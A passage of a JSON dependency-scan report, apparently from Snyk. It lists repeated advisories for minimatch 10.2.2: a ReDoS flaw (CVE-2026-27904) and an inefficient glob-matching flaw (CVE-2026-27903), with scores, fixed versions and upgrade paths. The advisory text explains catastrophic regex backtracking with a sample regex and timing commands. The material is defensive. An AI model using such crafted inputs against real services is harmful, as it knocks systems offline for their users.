7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient 